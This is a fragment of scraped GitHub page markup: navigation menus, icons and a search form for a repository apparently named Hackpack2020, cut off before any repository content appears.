<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="260132292" data-scoped-search-url="/dosxuz/Hackpack2020/search" data-owner-scoped-search-url="/users/dosxuz/search" data-unscoped-search-url="/search" data-turbo="false" action="/dosxuz/Hackpack2020/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="WgmqOJyhsBQCKBWRbzoj1ZtDN9dpO04JuYKdtWpdEYXx/iP8Ue7rQ2jIyNT/cEOMTCflvDc+SsU4nycc/2Z2Cw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 